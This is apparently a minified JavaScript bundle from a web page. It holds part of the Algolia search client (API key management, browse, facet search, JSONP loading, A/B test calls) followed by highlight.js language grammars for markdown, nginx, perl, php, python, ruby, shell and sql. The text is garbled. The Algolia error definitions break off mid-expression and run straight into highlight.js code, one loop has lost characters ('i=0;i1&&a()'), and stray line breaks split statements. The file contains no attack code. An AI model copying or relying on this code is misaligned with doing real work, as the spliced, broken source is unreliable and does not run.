this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(t.indexName)+"/keys",hostType:"read",callback:e})},c("index.listApiKeys()","client.listApiKeys()")),o.prototype.getUserKeyACL=a(function(e,t){return this.getApiKey(e,t)},c("index.getUserKeyACL()","client.getApiKey()")),o.prototype.getApiKey=a(function(e,t){var r=this;return this.as._jsonRequest({method:"GET",url:"/1/indexes/"+encodeURIComponent(r.indexName)+"/keys/"+e,hostType:"read",callback:t})},c("index.getApiKey()","client.getApiKey()")),o.prototype.deleteUserKey=a(function(e,t){return this.deleteApiKey(e,t)},c("index.deleteUserKey()","client.deleteApiKey()")),o.prototype.deleteApiKey=a(function(e,t){var r=this;return this.as._jsonRequest({method:"DELETE",url:"/1/indexes/"+encodeURIComponent(r.indexName)+"/keys/"+e,hostType:"write",callback:t})},c("index.deleteApiKey()","client.deleteApiKey()")),o.prototype.addUserKey=a(function(e,t,r){return this.addApiKey(e,t,r)},c("index.addUserKey()","client.addApiKey()")),o.prototype.addApiKey=a(function(t,r,o){var n=e(8),i="Usage: index.addApiKey(arrayOfAcls[, params, callback])";if(!n(t))throw new Error(i);1!==arguments.length&&"function"!=typeof r||(o=r,r=null);var s={acl:t};return r&&(s.validity=r.validity,s.maxQueriesPerIPPerHour=r.maxQueriesPerIPPerHour,s.maxHitsPerQuery=r.maxHitsPerQuery,s.description=r.description,r.queryParameters&&(s.queryParameters=this.as._getSearchParams(r.queryParameters,"")),s.referers=r.referers),this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/keys",body:s,hostType:"write",callback:o})},c("index.addApiKey()","client.addApiKey()")),o.prototype.addUserKeyWithValidity=a(function(e,t,r){return this.addApiKey(e,t,r)},c("index.addUserKeyWithValidity()","client.addApiKey()")),o.prototype.updateUserKey=a(function(e,t,r,o){return this.updateApiKey(e,t,r,o)},c("index.updateUserKey()","client.updateApiKey()")),o.prototype.updateApiKey=a(function(t,r,o,n){var i=e(8),s="Usage: index.updateApiKey(key, arrayOfAcls[, params, callback])";if(!i(r))throw new Error(s);2!==arguments.length&&"function"!=typeof o||(n=o,o=null);var a={acl:r};return o&&(a.validity=o.validity,a.maxQueriesPerIPPerHour=o.maxQueriesPerIPPerHour,a.maxHitsPerQuery=o.maxHitsPerQuery,a.description=o.description,o.queryParameters&&(a.queryParameters=this.as._getSearchParams(o.queryParameters,"")),a.referers=o.referers),this.as._jsonRequest({method:"PUT",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/keys/"+t,body:a,hostType:"write",callback:n})},c("index.updateApiKey()","client.updateApiKey()"))},{17:17,18:18,24:24,26:26,27:27,28:28,29:29,30:30,31:31,7:7,8:8}],17:[function(e,t,r){"use strict";function o(){}t.exports=o;var n=e(7),i=e(4).EventEmitter;n(o,i),o.prototype.stop=function(){this._stopped=!0,this._clean()},o.prototype._end=function(){this.emit("end"),this._clean()},o.prototype._error=function(e){this.emit("error",e),this._clean()},o.prototype._result=function(e){this.emit("result",e)},o.prototype._clean=function(){this.removeAllListeners("stop"),this.removeAllListeners("end"),this.removeAllListeners("error"),this.removeAllListeners("result")}},{4:4,7:7}],18:[function(e,t,r){function o(e,t){this.indexName=t,this.as=e,this.typeAheadArgs=null,this.typeAheadValueOption=null,this.cache={}}var n=e(23),i=e(26),s=e(27);t.exports=o,o.prototype.clearCache=function(){this.cache={}},o.prototype.search=n("query"),o.prototype.similarSearch=n("similarQuery"),o.prototype.browse=function(t,r,o){var n,i,s=e(31),a=this;0===arguments.length||1===arguments.length&&"function"==typeof arguments[0]?(n=0,o=arguments[0],t=void 0):"number"==typeof arguments[0]?(n=arguments[0],"number"==typeof arguments[1]?i=arguments[1]:"function"==typeof arguments[1]&&(o=arguments[1],i=void 0),t=void 0,r=void 0):"object"==typeof arguments[0]?("function"==typeof arguments[1]&&(o=arguments[1]),r=arguments[0],t=void 0):"string"==typeof arguments[0]&&"function"==typeof arguments[1]&&(o=arguments[1],r=void 0),r=s({},r||{},{page:n,hitsPerPage:i,query:t});var c=this.as._getSearchParams(r,"");return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(a.indexName)+"/browse",body:{params:c},hostType:"read",callback:o})},o.prototype.browseFrom=function(e,t){return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/browse",body:{cursor:e},hostType:"read",callback:t})},o.prototype.searchForFacetValues=function(t,r){var o=e(24),n=e(32),i="Usage: index.searchForFacetValues({facetName, facetQuery, ...params}[, callback])";if(void 0===t.facetName||void 0===t.facetQuery)throw new Error(i);var s=t.facetName,a=n(o(t),function(e){return"facetName"===e}),c=this.as._getSearchParams(a,"");return this.as._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(this.indexName)+"/facets/"+encodeURIComponent(s)+"/query",hostType:"read",body:{params:c},callback:r})},o.prototype.searchFacet=i(function(e,t){return this.searchForFacetValues(e,t)},s("index.searchFacet(params[, callback])","index.searchForFacetValues(params[, callback])")),o.prototype._search=function(e,t,r,o){return this.as._jsonRequest({cache:this.cache,method:"POST",url:t||"/1/indexes/"+encodeURIComponent(this.indexName)+"/query",body:{params:e},hostType:"read",fallback:{method:"GET",url:"/1/indexes/"+encodeURIComponent(this.indexName),body:{params:e}},callback:r,additionalUA:o})},o.prototype.getObject=function(e,t,r){var o=this;1!==arguments.length&&"function"!=typeof t||(r=t,t=void 0);var n="";if(void 0!==t){n="?attributes=";for(var i=0;i1&&a()}if(!h.cors&&!h.hasXDomainRequest)return void o(new u.Network("CORS not supported"));e=l(e,t.headers);var d,f,y=t.body,m=h.cors?new XMLHttpRequest:new XDomainRequest,v=!1;d=setTimeout(s,t.timeouts.connect),m.onprogress=c,"onreadystatechange"in m&&(m.onreadystatechange=p),m.onload=n,m.onerror=i,m instanceof XMLHttpRequest?(m.open(t.method,e,!0),t.forceAuthHeaders&&(m.setRequestHeader("x-algolia-application-id",t.headers["x-algolia-application-id"]),m.setRequestHeader("x-algolia-api-key",t.headers["x-algolia-api-key"]))):m.open(t.method,e),h.cors&&(y&&("POST"===t.method?m.setRequestHeader("content-type","application/x-www-form-urlencoded"):m.setRequestHeader("content-type","application/json")),m.setRequestHeader("accept","application/json")),y?m.send(y):m.send()})},a.prototype._request.fallback=function(e,t){return e=l(e,t.headers),new n(function(r,o){p(e,t,function(e,t){return e?void o(e):void r(t)})})},a.prototype._promise={reject:function(e){return n.reject(e)},resolve:function(e){return n.resolve(e)},delay:function(e){return new n(function(t){setTimeout(t,e)})},all:function(e){return n.all(e)}},s}}).call(this,e(12))},{1:1,12:12,21:21,22:22,24:24,28:28,3:3,33:33,35:35,6:6,7:7}],21:[function(e,t,r){"use strict";function o(e,t){return e+=/\?/.test(e)?"&":"?",e+n(t)}t.exports=o;var n=e(13)},{13:13}],22:[function(e,t,r){"use strict";function o(e,t,r){function o(){t.debug("JSONP: success"),m||d||(m=!0,p||(t.debug("JSONP: Fail. Script loaded but did not call the callback"),a(),r(new n.JSONPScriptFail)))}function s(){"loaded"!==this.readyState&&"complete"!==this.readyState||o()}function a(){clearTimeout(v),f.onload=null,f.onreadystatechange=null,f.onerror=null,h.removeChild(f)}function c(){try{delete window[y],delete window[y+"_loaded"]}catch(e){window[y]=window[y+"_loaded"]=void 0}}function u(){t.debug("JSONP: Script timeout"),d=!0,a(),r(new n.RequestTimeout)}function l(){t.debug("JSONP: Script error"),m||d||(a(),r(new n.JSONPScriptError))}if("GET"!==t.method)return void r(new Error("Method "+t.method+" "+e+" is not supported by JSONP."));t.debug("JSONP: start");var p=!1,d=!1;i+=1;var h=document.getElementsByTagName("head")[0],f=document.createElement("script"),y="algoliaJSONP_"+i,m=!1;window[y]=function(e){return c(),d?void t.debug("JSONP: Late answer, ignoring"):(p=!0,a(),void r(null,{body:e,responseText:JSON.stringify(e)}))},e+="&callback="+y,t.jsonBody&&t.jsonBody.params&&(e+="&"+t.jsonBody.params);var v=setTimeout(u,t.timeouts.complete);f.onreadystatechange=s,f.onload=o,f.onerror=l,f.async=!0,f.defer=!0,f.src=e,h.appendChild(f)}t.exports=o;var n=e(28),i=0},{28:28}],23:[function(e,t,r){function o(e,t){return function(r,o,i){if("function"==typeof r&&"object"==typeof o||"object"==typeof i)throw new n.AlgoliaSearchError("index.search usage is index.search(query, params, cb)");0===arguments.length||"function"==typeof r?(i=r,r=""):1!==arguments.length&&"function"!=typeof o||(i=o,o=void 0),"object"==typeof r&&null!==r?(o=r,r=void 0):void 0!==r&&null!==r||(r="");var s="";void 0!==r&&(s+=e+"="+encodeURIComponent(r));var a;return void 0!==o&&(o.additionalUA&&(a=o.additionalUA,delete o.additionalUA),s=this.as._getSearchParams(o,s)),this._search(s,t,i,a)}}t.exports=o;var n=e(28)},{28:28}],24:[function(e,t,r){t.exports=function(e){return JSON.parse(JSON.stringify(e))}},{}],25:[function(e,t,r){function o(e,t,r){var o={};return r=r||{},r.hosts=r.hosts||["analytics.algolia.com","analytics.algolia.com","analytics.algolia.com","analytics.algolia.com"],r.protocol=r.protocol||"https:",o.as=n(e,t,r),o.getABTests=function(e,t){var r=r||{},o=r.offset||0,n=r.limit||10;return this.as._jsonRequest({method:"GET",url:"/2/abtests?offset="+encodeURIComponent(o)+"&limit="+encodeURIComponent(n),hostType:"read",forceAuthHeaders:!0,callback:t})},o.getABTest=function(e,t){return this.as._jsonRequest({method:"GET",url:"/2/abtests/"+encodeURIComponent(e),hostType:"read",forceAuthHeaders:!0,callback:t})},o.addABTest=function(e,t){return this.as._jsonRequest({ -method:"POST",url:"/2/abtests",body:e,hostType:"read",forceAuthHeaders:!0,callback:t})},o.stopABTest=function(e,t){return this.as._jsonRequest({method:"POST",url:"/2/abtests/"+encodeURIComponent(e)+"/stop",hostType:"read",forceAuthHeaders:!0,callback:t})},o.deleteABTest=function(e,t){return this.as._jsonRequest({method:"DELETE",url:"/2/abtests/"+encodeURIComponent(e),hostType:"write",forceAuthHeaders:!0,callback:t})},o.waitTask=function(e,t,r){return this.as.initIndex(e).waitTask(t,r)},o}t.exports=o;var n=e(19)},{19:19}],26:[function(e,t,r){t.exports=function(e,t){function r(){return o||(console.warn(t),o=!0),e.apply(this,arguments)}var o=!1;return r}},{}],27:[function(e,t,r){t.exports=function(e,t){var r=e.toLowerCase().replace(/[\.\(\)]/g,"");return"algoliasearch: `"+e+"` was replaced by `"+t+"`. Please see https://github.com/algolia/algoliasearch-client-javascript/wiki/Deprecated#"+r}},{}],28:[function(e,t,r){"use strict";function o(t,r){var o=e(5),n=this;"function"==typeof Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):n.stack=(new Error).stack||"Cannot get a stacktrace, browser is too old",this.name="AlgoliaSearchError",this.message=t||"Unknown error",r&&o(r,function(e,t){n[t]=e})}function n(e,t){function r(){var r=Array.prototype.slice.call(arguments,0);"string"!=typeof r[0]&&r.unshift(t),o.apply(this,r),this.name="AlgoliaSearch"+e+"Error"}return i(r,o),r}var i=e(7);i(o,Error),t.exports={AlgoliaSearchError:o,UnparsableJSON:n("UnparsableJSON","Could not parse the incoming response as JSON, see err.more for details"),RequestTimeout:n("RequestTimeout","Request timedout before getting a response"),Network:n("Network","Network issue, see err.more for details"),JSONPScriptFail:n("JSONPScriptFail","",rE:!0,sL:["actionscript","javascript","handlebars","xml"]}},{cN:"meta",v:[{b:/<\?xml/,e:/\?>/,r:10},{b:/<\?\w+/,e:/\?>/}]},{cN:"tag",b:"",c:[{cN:"name",b:/[^\/><\s]+/,r:0},r]}]}}),e.registerLanguage("markdown",function(e){return{aliases:["md","mkdown","mkd"],c:[{cN:"section",v:[{b:"^#{1,6}",e:"$"},{b:"^.+?\\n[=-]{2,}$"}]},{b:"<",e:">",sL:"xml",r:0},{cN:"bullet",b:"^([*+-]|(\\d+\\.))\\s+"},{cN:"strong",b:"[*_]{2}.+?[*_]{2}"},{cN:"emphasis",v:[{b:"\\*.+?\\*"},{b:"_.+?_",r:0}]},{cN:"quote",b:"^>\\s+",e:"$"},{cN:"code",v:[{b:"^```w*s*$",e:"^```s*$"},{b:"`.+?`"},{b:"^( {4}| )",e:"$",r:0}]},{b:"^[-\\*]{3,}",e:"$"},{b:"\\[.+?\\][\\(\\[].*?[\\)\\]]",rB:!0,c:[{cN:"string",b:"\\[",e:"\\]",eB:!0,rE:!0,r:0},{cN:"link",b:"\\]\\(",e:"\\)",eB:!0,eE:!0},{cN:"symbol",b:"\\]\\[",e:"\\]",eB:!0,eE:!0}],r:10},{b:/^\[[^\n]+\]:/,rB:!0,c:[{cN:"symbol",b:/\[/,e:/\]/,eB:!0,eE:!0},{cN:"link",b:/:\s*/,e:/$/,eB:!0}]}]}}),e.registerLanguage("nginx",function(e){var t={cN:"variable",v:[{b:/\$\d+/},{b:/\$\{/,e:/}/},{b:"[\\$\\@]"+e.UIR}]},r={eW:!0,l:"[a-z/_]+",k:{literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},r:0,i:"=>",c:[e.HCM,{cN:"string",c:[e.BE,t],v:[{b:/"/,e:/"/},{b:/'/,e:/'/}]},{b:"([a-z]+):/",e:"\\s",eW:!0,eE:!0,c:[t]},{cN:"regexp",c:[e.BE,t],v:[{b:"\\s\\^",e:"\\s|{|;",rE:!0},{b:"~\\*?\\s+",e:"\\s|{|;",rE:!0},{b:"\\*(\\.[a-z\\-]+)+"},{b:"([a-z\\-]+\\.)+\\*"}]},{cN:"number",b:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{cN:"number",b:"\\b\\d+[kKmMgGdshdwy]*\\b",r:0},t]};return{aliases:["nginxconf"],c:[e.HCM,{b:e.UIR+"\\s+{",rB:!0,e:"{",c:[{cN:"section",b:e.UIR}],r:0},{b:e.UIR+"\\s",e:";|{",rB:!0,c:[{cN:"attribute",b:e.UIR,starts:r}],r:0}],i:"[^\\s\\}]"}}),e.registerLanguage("objectivec",function(e){var t={cN:"built_in",b:"\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\w+"},r={keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},a=/[a-zA-Z@][a-zA-Z0-9_]*/,n="@interface @class @protocol @implementation";return{aliases:["mm","objc","obj-c"],k:r,l:a,i:""}]}]},{cN:"class",b:"("+n.split(" ").join("|")+")\\b",e:"({|$)",eE:!0,k:n,l:a,c:[e.UTM]},{b:"\\."+e.UIR,r:0}]}}),e.registerLanguage("perl",function(e){var t="getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when",r={cN:"subst",b:"[$@]\\{",e:"\\}",k:t},a={b:"->{",e:"}"},n={v:[{b:/\$\d/},{b:/[\$%@](\^\w\b|#\w+(::\w+)*|{\w+}|\w+(::\w*)*)/},{b:/[\$%@][^\s\w{]/,r:0}]},i=[e.BE,r,n],s=[n,e.HCM,e.C("^\\=\\w","\\=cut",{eW:!0}),a,{cN:"string",c:i,v:[{b:"q[qwxr]?\\s*\\(",e:"\\)",r:5},{b:"q[qwxr]?\\s*\\[",e:"\\]",r:5},{b:"q[qwxr]?\\s*\\{",e:"\\}",r:5},{b:"q[qwxr]?\\s*\\|",e:"\\|",r:5},{b:"q[qwxr]?\\s*\\<",e:"\\>",r:5},{b:"qw\\s+q",e:"q",r:5},{b:"'",e:"'",c:[e.BE]},{b:'"',e:'"'},{b:"`",e:"`",c:[e.BE]},{b:"{\\w+}",c:[],r:0},{b:"-?\\w+\\s*\\=\\>",c:[],r:0}]},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\/\\/|"+e.RSR+"|\\b(split|return|print|reverse|grep)\\b)\\s*",k:"split return print reverse grep",r:0,c:[e.HCM,{cN:"regexp",b:"(s|tr|y)/(\\\\.|[^/])*/(\\\\.|[^/])*/[a-z]*",r:10},{cN:"regexp",b:"(m|qr)?/",e:"/[a-z]*",c:[e.BE],r:0}]},{cN:"function",bK:"sub",e:"(\\s*\\(.*?\\))?[;{]",eE:!0,r:5,c:[e.TM]},{b:"-\\w\\b",r:0},{b:"^__DATA__$",e:"^__END__$",sL:"mojolicious",c:[{b:"^@@.*",e:"$",cN:"comment"}]}];return r.c=s,a.c=s,{aliases:["pl","pm"],l:/[\w\.]+/,k:t,c:s}}),e.registerLanguage("php",function(e){var t={b:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"},r={cN:"meta",b:/<\?(php)?|\?>/},a={cN:"string",c:[e.BE,r],v:[{b:'b"',e:'"'},{b:"b'",e:"'"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},n={v:[e.BNM,e.CNM]};return{aliases:["php3","php4","php5","php6"],cI:!0,k:"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally",c:[e.HCM,e.C("//","$",{c:[r]}),e.C("/\\*","\\*/",{c:[{cN:"doctag",b:"@[A-Za-z]+"}]}),e.C("__halt_compiler.+?;",!1,{eW:!0,k:"__halt_compiler",l:e.UIR}),{cN:"string",b:/<<<['"]?\w+['"]?$/,e:/^\w+;?$/,c:[e.BE,{cN:"subst",v:[{b:/\$\w+/},{b:/\{\$/,e:/\}/}]}]},r,{cN:"keyword",b:/\$this\b/},t,{b:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{cN:"function",bK:"function",e:/[;{]/,eE:!0,i:"\\$|\\[|%",c:[e.UTM,{cN:"params",b:"\\(",e:"\\)",c:["self",t,e.CBCM,a,n]}]},{cN:"class",bK:"class interface",e:"{",eE:!0,i:/[:\(\$"]/,c:[{bK:"extends implements"},e.UTM]},{bK:"namespace",e:";",i:/[\.']/,c:[e.UTM]},{bK:"use",e:";",c:[e.UTM]},{b:"=>"},a,n]}}),e.registerLanguage("python",function(e){var t={keyword:"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False",built_in:"Ellipsis NotImplemented"},r={cN:"meta",b:/^(>>>|\.\.\.) /},a={cN:"subst",b:/\{/,e:/\}/,k:t,i:/#/},n={cN:"string",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[r],r:10},{b:/(u|b)?r?"""/,e:/"""/,c:[r],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[r,a]},{b:/(fr|rf|f)"""/,e:/"""/,c:[r,a]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)"/,e:/"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)"/,e:/"/},{b:/(fr|rf|f)'/,e:/'/,c:[a]},{b:/(fr|rf|f)"/,e:/"/,c:[a]},e.ASM,e.QSM]},i={cN:"number",r:0,v:[{b:e.BNR+"[lLjJ]?"},{b:"\\b(0o[0-7]+)[lLjJ]?"},{b:e.CNR+"[lLjJ]?"}]},s={cN:"params",b:/\(/,e:/\)/,c:["self",r,i,n]};return a.c=[n,i,r],{aliases:["py","gyp"],k:t,i:/(<\/|->|\?)|=>/,c:[r,i,n,e.HCM,{v:[{cN:"function",bK:"def"},{cN:"class",bK:"class"}],e:/:/,i:/[${=;\n,]/,c:[e.UTM,s,{b:/->/,eW:!0,k:"None"}]},{cN:"meta",b:/^[\t ]*@/,e:/$/},{b:/\b(print|exec)\(/}]}}),e.registerLanguage("ruby",function(e){ -var t="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",r={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},a={cN:"doctag",b:"@[A-Za-z]+"},n={b:"#<",e:">"},i=[e.C("#","$",{c:[a]}),e.C("^\\=begin","^\\=end",{c:[a],r:10}),e.C("^__END__","\\n$")],s={cN:"subst",b:"#\\{",e:"}",k:r},c={cN:"string",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/`/,e:/`/},{b:"%[qQwWx]?\\(",e:"\\)"},{b:"%[qQwWx]?\\[",e:"\\]"},{b:"%[qQwWx]?{",e:"}"},{b:"%[qQwWx]?<",e:">"},{b:"%[qQwWx]?/",e:"/"},{b:"%[qQwWx]?%",e:"%"},{b:"%[qQwWx]?-",e:"-"},{b:"%[qQwWx]?\\|",e:"\\|"},{b:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/},{b:/<<(-?)\w+$/,e:/^\s*\w+$/}]},o={cN:"params",b:"\\(",e:"\\)",endsParent:!0,k:r},l=[c,n,{cN:"class",bK:"class module",e:"$|;",i:/=/,c:[e.inherit(e.TM,{b:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{b:"<\\s*",c:[{b:"("+e.IR+"::)?"+e.IR}]}].concat(i)},{cN:"function",bK:"def",e:"$|;",c:[e.inherit(e.TM,{b:t}),o].concat(i)},{b:e.IR+"::"},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":(?!\\s)",c:[c,{b:t}],r:0},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{cN:"params",b:/\|/,e:/\|/,k:r},{b:"("+e.RSR+"|unless)\\s*",k:"unless",c:[n,{cN:"regexp",c:[e.BE,s],i:/\n/,v:[{b:"/",e:"/[a-z]*"},{b:"%r{",e:"}[a-z]*"},{b:"%r\\(",e:"\\)[a-z]*"},{b:"%r!",e:"![a-z]*"},{b:"%r\\[",e:"\\][a-z]*"}]}].concat(i),r:0}].concat(i);s.c=l,o.c=l;var u="[>?]>",d="[\\w#]+\\(\\w+\\):\\d+:\\d+>",b="(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>",p=[{b:/^\s*=>/,starts:{e:"$",c:l}},{cN:"meta",b:"^("+u+"|"+d+"|"+b+")",starts:{e:"$",c:l}}];return{aliases:["rb","gemspec","podspec","thor","irb"],k:r,i:/\/\*/,c:i.concat(p).concat(l)}}),e.registerLanguage("shell",function(e){return{aliases:["console"],c:[{cN:"meta",b:"^\\s{0,3}[\\w\\d\\[\\]()@-]*[>%$#]",starts:{e:"$",sL:"bash"}}]}}),e.registerLanguage("sql",function(e){var t=e.C("--","$");return{cI:!0,i:/[<>{}*#]/,c:[{bK:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment",e:/;/,eW:!0,l:/[\w\.]+/,k:{keyword:"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies 